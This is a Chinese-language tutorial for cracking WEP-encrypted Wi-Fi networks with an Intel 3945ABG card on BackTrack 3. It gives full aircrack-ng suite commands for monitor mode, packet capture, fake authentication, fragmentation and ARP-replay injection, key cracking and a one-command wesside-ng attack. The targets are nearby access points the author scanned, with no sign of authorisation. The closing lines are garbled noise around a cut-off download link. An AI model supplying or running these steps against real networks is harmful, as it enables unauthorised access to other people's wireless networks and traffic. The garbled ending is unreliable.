Inte3945ABG在BT3下破解有(无)客户端wep简明教程.docVIP

Intel3945ABG在BT3下破解有/无客户端wep教程 ——原创作品，转载请注明出处。QQQQQ123456 在经过无数次的努力，终于实现3945网卡的WEP破解。 无客户端的破解 装备： DELL 1420笔记本（内置网卡）、BT3的usb系统 2．启动BT3后,加载驱动。3945网卡加载驱动是破解的关键。打开一个命令窗口 输入 modprobe –r iwl3945 输入 modprobe ipwraw 3.查找目标：用Airoscript的扫描功能连续三次都选择1，（没有图，简单的英文）（不能在命令窗口输入，在程序里面找）。发现5个，有4个加密，data都是0，开放的那个AP有一个客户端。 我们选择第一个作为目标，channel为11。输入 airmon-ng start wifi0 11 激活网卡的Monitor模式 说明：11是要监听的频道，这个值要与你破解对象的值一致. 4.在正确执行1、2步后，输入抓包命令来抓包。 输入命令 airodump-ng --ivs -w 12345 -c 11 wifi0 ，其中，12345是获取的ivs的保存文件的名字，11是channel值，你根据实际修改。开始监听channel 11了。 5.上面窗口不关闭，另开一个窗口，输入命令，用自己的网卡连接要破解的ap 输入 aireplay-ng -1 0 -e ap的essid -a ap的mac -h 自己网卡的mac wifi0 这时，系统将回显 Sending Authentication Request Authentication successful Sending Association Request Association successful :-) 这时，airodump-ng窗口的变化 这时候等Data有了1万5就可新开个命令窗口，用aircrack-ng来破解了。 破解结果: ^_^大功告成。 另外，不知为什么，经典教程中还应有如下的动作才能data，我没有做也能获得data，真是奇怪，还望高手指点。现将经典教程中余下步骤留下以供参考和测试。（感谢原作者，版权归原作者） 6．输入aireplay-ng -5 -b ap的mac -h 自己网卡的mac rausb0 来获得xor文件 如果一切顺利，系统将回显 Use this packet ? 输入y 回车，将得到一个至关重要的xor文件。（我自己试验在输入y后，系统开始发送数据，airodump-ng窗口一下就有了反应，Data数立即增长，我就没有必要进行下面的步骤了，等Data有1万5就用aircrack-ng破出了密码。） 再输入ls 查看当前目录，你将看到刚才生成的一个后缀名为xor 的文件。 7．输入packetforge-ng -0 -a ap的mac -h 自己网卡的mac -k 55 -l 55 -y fragment -××××-××××.xor -w mrarp 其中，–l中的l是L的小写，别和1混淆，而其中的××××-××××.xor 是你刚才生成的文件名。 系统回显：Wrote packet to: mrarp 8．输入aireplay-ng -2 –r mrarp -x 1024 wifi0 ，发包攻击.其中，-x 1024 是限定发包速度，避免网卡死机，我选择的是1024。 输入y 回车 攻击开始 这时，前面的抓包窗口上的data将迅速增加。 到数据增加到3万以上时，另开窗口，启动 aircrack-ng -n 64 -b ap的mac name-01.ivs 其中 64 是64位密码，如果是128位，换成128即可。 有客户端的破解 前面的步骤一样： 输入 modprobe –r iwl3945 输入 modprobe ipwraw 输入airmon-ng start wifi0 11 现在，只要一个命令就搞定，输入: wesside-ng -i wifi0 -v 01:02:03:04:05:06 (目标的MAC)。成功图片： ^_^ 不错吧！非常轻松简单且效率高。 3945abg wep 破解 启动光盘：wifiway 0.8 (下载：/principal/descargas.html)* ]* g1 m% w5 u% k; B2 J+ K K8 S4 O. J笔记本无线网卡：intel 3945 abg R4 c??d5 ~ i# h) E z( D A! i